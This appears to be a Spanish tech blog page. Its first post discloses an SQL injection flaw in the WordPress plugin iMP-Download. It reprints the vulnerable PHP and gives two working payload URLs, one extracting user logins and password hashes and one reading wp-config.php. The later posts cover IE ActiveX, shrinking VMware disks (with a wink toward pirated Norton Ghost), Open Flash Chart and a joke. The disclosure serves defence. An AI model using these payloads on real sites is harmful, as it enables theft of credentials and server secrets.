Categories
Seguridad Sql Injection Web WordPress

Eviten el uso del plugin iMP-Download para WordPress

Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

php:

<?php
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/

if (isset($_GET['dl'])) {
        global $wpdb, $table_prefix;
       
        // require_once('../../../wp-blog-header.php');
        $option = get_option('iMP_Download_Option');
       
        $user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];

        if ($option['dl_mo'] == 1 && !$user_login) {
                $login = get_settings('siteurl') . '/wp-login.php';
        ?>
                script type="text/javascript">
                        var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
                        if (mo == true) {
                                window.location = "<?php echo $login; ?>";
                    } else {
                                window.location = document.referrer;
                        }
                </script
        <?php
                exit();
        }
       
        $dl_id = $_GET['dl'];
        $table_name = $table_prefix . 'imp_download';
       
        $wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
       
        $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
        $file = $wpdb->get_var($url);

        $file = str_replace(' ','%20',$file);
        $filename = basename($file);
       
        $mimetype = 'application/octet-stream'// Set mime-type
        header("Pragma: "); // Leave blank for issues with IE
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header("Content-Type: $mimetype");
        if ($option['dl_fd'] == 1) {
                if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
                        header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
                } else {
                        header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
                }
               
                if (ini_get('allow_url_fopen') == 1) {
                        $file = fopen($file, "rb");
                        fpassthru($file);
                        exit();
                } elseif (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $file);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_exec ($ch);
                        curl_close ($ch);
                        exit();
                }
        } else {
                header('Location: '.$file.''); // Force download deactivated
                exit();
        }
}

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

code:

* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.

Categories
Internet Explorer Microsoft

Internet Explorer eliminará la activación manual de controles ActiveX en Abril de 2008

Hace más de un año, Microsoft tuvo que cambiar la forma en que los controles ActiveX eran cargados, este hecho -- causado por un litigio con Eolas Technology -- hizo que muchos desarrolladores web sorteen este problema usando javascript para evitar que los usuarios tengan que activar manualmente los controles.

Internet Explorer: Activación de controles ActiveX

En el blog de Internet Explorer anuncian que a partir de abril del próximo año ya no será necesario la intervención del usuario para activar los controles ActiveX; según ésa entrada, este cambio de funcionalidad en el navegador no va a requerir de modificaciones a los sitios existentes y que a partir de diciembre de este año, estará disponible "Internet Explorer Automatic Component Activation Preview" (¡vaya nombrecito! 😀 ).

Categories
Artí­culos

Reducir el tamaño de discos virtuales en VMWare

Una de las cosas que tenía pendiente antes de que mi disco anterior pasara a mejor vida, era reducir el tamaño del disco virtual que usaba para Debian Sid sobre VMWare, puesto inicialmente asigné 16GB al tamaño del disco, de los cuales -- como pueden ver en la imagen -- tan sólo usaba alrededor de 2GB pero el archivo generado era de 9GB.

VMWare Virtual Disks

El proceso es relativamente sencillo y consiste en agregar un nuevo disco virtual y clonar los contenidos del anterior. Los siguientes pasos son necesarios sólo si no tienen instalado algo que les permita modificar de manera fácil las propiedades de la máquina virtual (en otras palabras, si no instalaron VMWare Workstation):

  • Crear copia de seguridad del archivo de configuración de la máquina virtual.
  • Crear y añadir un nuevo disco virtual: para obtener un nuevo disco pueden descargar discos vacíos o crearlo usando QEMU con la siguiente orden:

    code:

    qemu-img create -f vmdk disco-nuevo.vmdk 5G

    .

    A continuación, se debe editar el fichero de configuración de la máquina virtual y agregar los siguiente:

    code:

    ## Si usan discos SCSI

    scsi0:1.present = "TRUE"
    scsi0:1.fileName = "disco-nuevo.vmdk"
    scsi0:1.redo = ""

    ## Si usan discos IDE

    ide0:1.present = "TRUE"
    ide0:1.fileName = "disco-nuevo.vmdk"

     

  • Clonar el disco anterior en el nuevo disco: para esta tarea pueden usar cualquier software que permita clonar discos y soporte el sistema de archivos del sistema operativo instalado sobre VMWare. En mi caso hice uso de la versión DOS de Norton Ghost, el cual -- como seguramente ya saben -- pueden conseguirlo gracias al buscador y/o cliente P2P/BitTorrent que prefieran. 🙄

    VMWare Norton Ghost

  • Quitar el disco anterior e iniciar la máquina virtual: para esto volvemos a editar el archivo de configuración y quitamos las líneas agregadas en el primer paso y luego reemplazamos todas las referencias del disco anterior por el nuevo. Los que no quieren complicarse la vida pueden crear una nueva máquina virtual.

    Uno de los problemas que tuve y por motivos técnicos que desconozco, fue que GRUB no terminaba de cargar, pero esto fue resuelto fácilmente con Super Grub Disk.

Luego de unos minutos finalmente logré mi objetivo: 🙂

code:

alex@hell:~$ df -h
S.ficheros          Tamaño Usado  Disp Uso% Montado en
/dev/sda1             4.2G  2.7G  1.4G  67% /
tmpfs                  62M     0   62M   0% /lib/init/rw
udev                   10M   52K   10M   1% /dev
tmpfs                  62M     0   62M   0% /dev/shm
alex@hell:~$

Lo bueno de esta forma para reducir el tamaño de discos virtuales es que no hay que sacar una copia de seguridad de los discos, tan sólo del archivo de configuración -- aunque tampoco es estrictamente útil ya que podemos crear nuevas máquinas virtuales importando los discos anteriores.

Categories
ASP.NET

Gráficos con Open Flash Chart y ASP.NET

Open Flash Chart es un componente con licencia GPL que permite mostrar distintos tipos gráficos a partir de datos almacenados en archivos de texto plano o generados al vuelo con algún lenguaje del lado del servidor -- actualmente sólo existen librerías para Java, Perl, Python, Ruby and Rails y PHP:

Open Flash Chart: 3D Bar Chart

Categories
Diseño Humor

¿Pagas demasiado a tu diseñador?

Si es así, compra el siguiente producto, ¡ahora mismo! 😀

Who needs designers?